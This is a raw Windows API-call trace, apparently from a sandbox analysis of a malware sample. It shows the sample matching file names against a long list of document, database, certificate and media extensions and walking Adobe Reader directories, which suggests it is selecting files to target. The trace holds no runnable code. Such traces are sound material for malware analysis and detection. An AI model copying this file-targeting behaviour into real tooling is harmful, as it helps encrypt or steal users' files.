	[0175.554] lstrlenW (lpString=".bak") returned 4
	[0175.554] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".bay") returned 4
	[0175.554] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".bd") returned 3
	[0175.554] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0175.554] lstrlenW (lpString=".bin") returned 4
	[0175.554] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".bmp") returned 4
	[0175.554] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".bz2") returned 4
	[0175.554] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".c") returned 2
	[0175.554] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0175.554] lstrlenW (lpString=".cdr") returned 4
	[0175.554] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".cer") returned 4
	[0175.554] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".cf") returned 3
	[0175.554] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0175.554] lstrlenW (lpString=".cfc") returned 4
	[0175.554] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".cfm") returned 4
	[0175.554] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".cfml") returned 5
	[0175.554] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1
	[0175.554] lstrlenW (lpString=".cfu") returned 4
	[0175.554] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".chm") returned 4
	[0175.554] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1
	[0175.554] lstrlenW (lpString=".cin") returned 4
	[0175.554] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".class") returned 6
	[0175.555] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1
	[0175.555] lstrlenW (lpString=".clx") returned 4
	[0175.555] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".config") returned 7
	[0175.555] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1
	[0175.555] lstrlenW (lpString=".cpp") returned 4
	[0175.555] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".cr2") returned 4
	[0175.555] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".crt") returned 4
	[0175.555] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".crw") returned 4
	[0175.555] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".cs") returned 3
	[0175.555] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0175.555] lstrlenW (lpString=".css") returned 4
	[0175.555] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".csv") returned 4
	[0175.555] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".cub") returned 4
	[0175.555] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".dae") returned 4
	[0175.555] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".dat") returned 4
	[0175.555] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".db") returned 3
	[0175.555] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0175.555] lstrlenW (lpString=".dbf") returned 4
	[0175.555] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".dbx") returned 4
	[0175.555] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".dc3") returned 4
	[0175.555] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1
	[0175.555] lstrlenW (lpString=".dcm") returned 4
	[0175.556] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".dcr") returned 4
	[0175.556] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".der") returned 4
	[0175.556] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".dib") returned 4
	[0175.556] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".dic") returned 4
	[0175.556] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".dif") returned 4
	[0175.556] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".divx") returned 5
	[0175.556] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1
	[0175.556] lstrlenW (lpString=".djvu") returned 5
	[0175.556] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1
	[0175.556] lstrlenW (lpString=".dng") returned 4
	[0175.556] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".doc") returned 4
	[0175.556] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".docm") returned 5
	[0175.556] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1
	[0175.556] lstrlenW (lpString=".docx") returned 5
	[0175.556] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1
	[0175.556] lstrlenW (lpString=".dot") returned 4
	[0175.556] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".dotm") returned 5
	[0175.556] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1
	[0175.556] lstrlenW (lpString=".dotx") returned 5
	[0175.556] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1
	[0175.556] lstrlenW (lpString=".dpx") returned 4
	[0175.556] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".dqy") returned 4
	[0175.556] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1
	[0175.556] lstrlenW (lpString=".dsn") returned 4
	[0175.557] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".dt") returned 3
	[0175.557] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0175.557] lstrlenW (lpString=".dtd") returned 4
	[0175.557] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".dwg") returned 4
	[0175.557] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".dwt") returned 4
	[0175.557] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".dx") returned 3
	[0175.557] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0175.557] lstrlenW (lpString=".dxf") returned 4
	[0175.557] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".edml") returned 5
	[0175.557] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1
	[0175.557] lstrlenW (lpString=".efd") returned 4
	[0175.557] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".elf") returned 4
	[0175.557] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".emf") returned 4
	[0175.557] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".emz") returned 4
	[0175.557] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".epf") returned 4
	[0175.557] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".eps") returned 4
	[0175.557] lstrcmpiW (lpString1=".eps", lpString2="r.js") returned -1
	[0175.557] lstrlenW (lpString=".epsf") returned 5
	[0175.557] lstrcmpiW (lpString1=".epsf", lpString2="or.js") returned -1
	[0175.557] lstrlenW (lpString=".epsp") returned 5
	[0175.558] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0175.558] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0175.558] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0175.558] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0175.560] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files-select", cAlternateFileName="MY-FIL~1")) returned 1
	[0175.560] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files-select") returned 110
	[0175.561] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.561] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0175.561] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files-select\\js") returned 113
	[0175.561] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.561] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0175.561] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0175.561] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0175.561] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files", cAlternateFileName="MY-REC~2")) returned 1
	[0175.561] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.561] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0175.563] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.563] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0175.563] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.563] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0175.563] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.563] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0175.563] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.563] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0175.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.564] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0175.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.564] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0175.566] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.566] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0175.566] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.566] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0175.566] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.566] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0175.567] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.567] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0175.567] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.567] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0175.567] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.567] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0175.567] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.567] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0175.567] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.567] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0175.567] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.567] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0175.568] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.568] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0175.568] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.568] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0175.568] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.568] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0175.568] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.568] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0175.568] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.568] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0175.569] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.569] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0175.569] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
